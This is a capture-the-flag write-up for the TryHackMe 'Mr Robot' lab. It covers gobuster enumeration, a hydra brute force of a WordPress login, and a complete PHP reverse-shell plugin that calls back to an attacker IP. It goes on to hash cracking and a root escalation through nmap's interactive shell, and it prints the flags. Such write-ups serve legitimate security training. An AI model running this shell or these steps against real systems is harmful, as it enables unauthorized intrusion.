Can you root this Mr. Robot styled machine? This is a virtual machine meant for beginners/intermediate users. There are 3 hidden keys located on the machine, can you find them?
Credit to Leon Johnson for creating this machine.
Setup
1kali@kali:~$ gobuster dir -u http://10.10.157.219/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
1kali@kali:~$ gobuster dir -u http://10.10.157.219/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt2===============================================================3Gobuster v3.0.14by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)5===============================================================6[+] Url: http://10.10.157.219/7[+] Threads: 108[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt9[+] Status codes: 200,204,301,302,307,401,40310[+] User Agent: gobuster/3.0.111[+] Timeout: 10s12===============================================================132020/05/09 16:45:41 Starting gobuster14===============================================================15/images (Status: 301)16/blog (Status: 301)17/sitemap (Status: 200)18/rss (Status: 301)19/login (Status: 302)20/0 (Status: 301)21/feed (Status: 301)22/video (Status: 301)23/image (Status: 301)24/atom (Status: 301)25/wp-content (Status: 301)26/admin (Status: 301)27/audio (Status: 301)28/wp-login (Status: 200)29/intro (Status: 200)30/css (Status: 301)31/rss2 (Status: 301)32/license (Status: 200)33/wp-includes (Status: 301)34/js (Status: 301)35/Image (Status: 301)36/rdf (Status: 301)37/page1 (Status: 301)38/readme (Status: 200)39/robots (Status: 200)
1kali@kali:~$ curl http://10.10.157.219/fsocity.dic > password.txt
#1 What is key 1?


1073403c8a58a1f80d943455fb30724b9
#2 What is key 2?

1kali@kali:~$ hydra -l Elliot -P password.txt 10.10.157.219 http-post-form "/wp-login:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=10.10.157.219/wp-admin/&testcookie=1:S=302"
1[80][http-post-form] host: 10.10.157.219 login: "Elliot" password: "ER28-0652"

Now let’s implement some php reverse shell.
1<?php2/*3Plugin Name: Reverse Shell4Plugin URI: http://shell.com5Description: gimme a shell6Version: 1.07Text Domain: shell8Domain Path: /languages9*/10// php-reverse-shell - A Reverse Shell implementation in PHP11// Copyright (C) 2007 pentestmonkey@pentestmonkey.net1213set_time_limit (0);14$VERSION = "1.0";15$ip = '10.9.2.228'; // CHANGE THIS16$port = 9999; // CHANGE THIS17$chunk_size = 1400;18$write_a = null;19$error_a = null;20$shell = 'uname -a; w; id; /bin/sh -i';21$daemon = 0;22$debug = 0;2324//25// Daemonise ourself if possible to avoid zombies later26//2728// pcntl_fork is hardly ever available, but will allow us to daemonise29// our php process and avoid zombies. Worth a try...30if (function_exists('pcntl_fork')) {31 // Fork and have the parent process exit32 $pid = pcntl_fork();3334 if ($pid == -1) {35 printit("ERROR: Can't fork");36 exit(1);37 }3839 if ($pid) {40 exit(0); // Parent exits41 }4243 // Make the current process a session leader44 // Will only succeed if we forked45 if (posix_setsid() == -1) {46 printit("Error: Can't setsid()");47 exit(1);48 }4950 $daemon = 1;51} else {52 printit("WARNING: Failed to daemonise. This is quite common and not fatal.");53}5455// Change to a safe directory56chdir("/");5758// Remove any umask we inherited59umask(0);6061//62// Do the reverse shell...63//6465// Open reverse connection66$sock = fsockopen($ip, $port, $errno, $errstr, 30);67if (!$sock) {68 printit("$errstr ($errno)");69 exit(1);70}7172// Spawn shell process73$descriptorspec = array(74 0 => array("pipe", "r"), // stdin is a pipe that the child will read from75 1 => array("pipe", "w"), // stdout is a pipe that the child will write to76 2 => array("pipe", "w") // stderr is a pipe that the child will write to77);7879$process = proc_open($shell, $descriptorspec, $pipes);8081if (!is_resource($process)) {82 printit("ERROR: Can't spawn shell");83 exit(1);84}8586// Set everything to non-blocking87// Reason: Occsionally reads will block, even though stream_select tells us they won't88stream_set_blocking($pipes[0], 0);89stream_set_blocking($pipes[1], 0);90stream_set_blocking($pipes[2], 0);91stream_set_blocking($sock, 0);9293printit("Successfully opened reverse shell to $ip:$port");9495while (1) {96 // Check for end of TCP connection97 if (feof($sock)) {98 printit("ERROR: Shell connection terminated");99 break;100 }101102 // Check for end of STDOUT103 if (feof($pipes[1])) {104 printit("ERROR: Shell process terminated");105 break;106 }107108 // Wait until a command is end down $sock, or some109 // command output is available on STDOUT or STDERR110 $read_a = array($sock, $pipes[1], $pipes[2]);111 $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);112113 // If we can read from the TCP socket, send114 // data to process's STDIN115 if (in_array($sock, $read_a)) {116 if ($debug) printit("SOCK READ");117 $input = fread($sock, $chunk_size);118 if ($debug) printit("SOCK: $input");119 fwrite($pipes[0], $input);120 }121122 // If we can read from the process's STDOUT123 // send data down tcp connection124 if (in_array($pipes[1], $read_a)) {125 if ($debug) printit("STDOUT READ");126 $input = fread($pipes[1], $chunk_size);127 if ($debug) printit("STDOUT: $input");128 fwrite($sock, $input);129 }130131 // If we can read from the process's STDERR132 // send data down tcp connection133 if (in_array($pipes[2], $read_a)) {134 if ($debug) printit("STDERR READ");135 $input = fread($pipes[2], $chunk_size);136 if ($debug) printit("STDERR: $input");137 fwrite($sock, $input);138 }139}140141fclose($sock);142fclose($pipes[0]);143fclose($pipes[1]);144fclose($pipes[2]);145proc_close($process);146147// Like print, but does nothing if we've daemonised ourself148// (I can't figure out how to redirect STDOUT like a proper daemon)149function printit ($string) {150 if (!$daemon) {151 print "$string\n";152 }153}154155?>

But before we need to zip the shell.php to upload it.
1kali@kali:~/Desktop$ zip shell.zip shell.php2adding: shell.php (deflated 59%)

Great we successfully upload our php shell ! Let’s active it


Nice ! :D we have a shell let’s make it fancy now
1python -c 'import pty; pty.spawn("/bin/bash")'


As you can see we can’t see the key2 but we have an hash so let’s crack it

1kali@kali:~/Desktop$ hashcat -m 0 --force hashmrrobot /usr/share/wordlists/rockyou.txt
1c3fcd3d76192e4007dfb496cca67e13b:abcdefghijklmnopqrstuvwxyz
#3 What is key 3?

1su -l robot2Password: abcdefghijklmnopqrstuvwxyz
1robot@linux:~$ ls2ls3key-2-of-3.txt password.raw-md54robot@linux:~$ cat key-2-of-3.txt5cat key-2-of-3.txt6822c73956184f694993bede3eb39f959
Final step getting root on the machine
On the TryHackMe website the hint was “nmap”
So i found this website https://pentestlab.blog/category/privilege-escalation/ and it worked ! :D
1robot@linux:~$ nmap --interactive2nmap --interactive34Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )5Welcome to Interactive Mode -- press h <enter> for help6nmap> !sh7!sh8# ls9ls10key-2-of-3.txt password.raw-md511# cd /root12cd /root13# ls14ls15firstboot_done key-3-of-3.txt16# cat key-3-of-3.txt17cat key-3-of-3.txt1804787ddef27c3dee1ee161b21670b4e4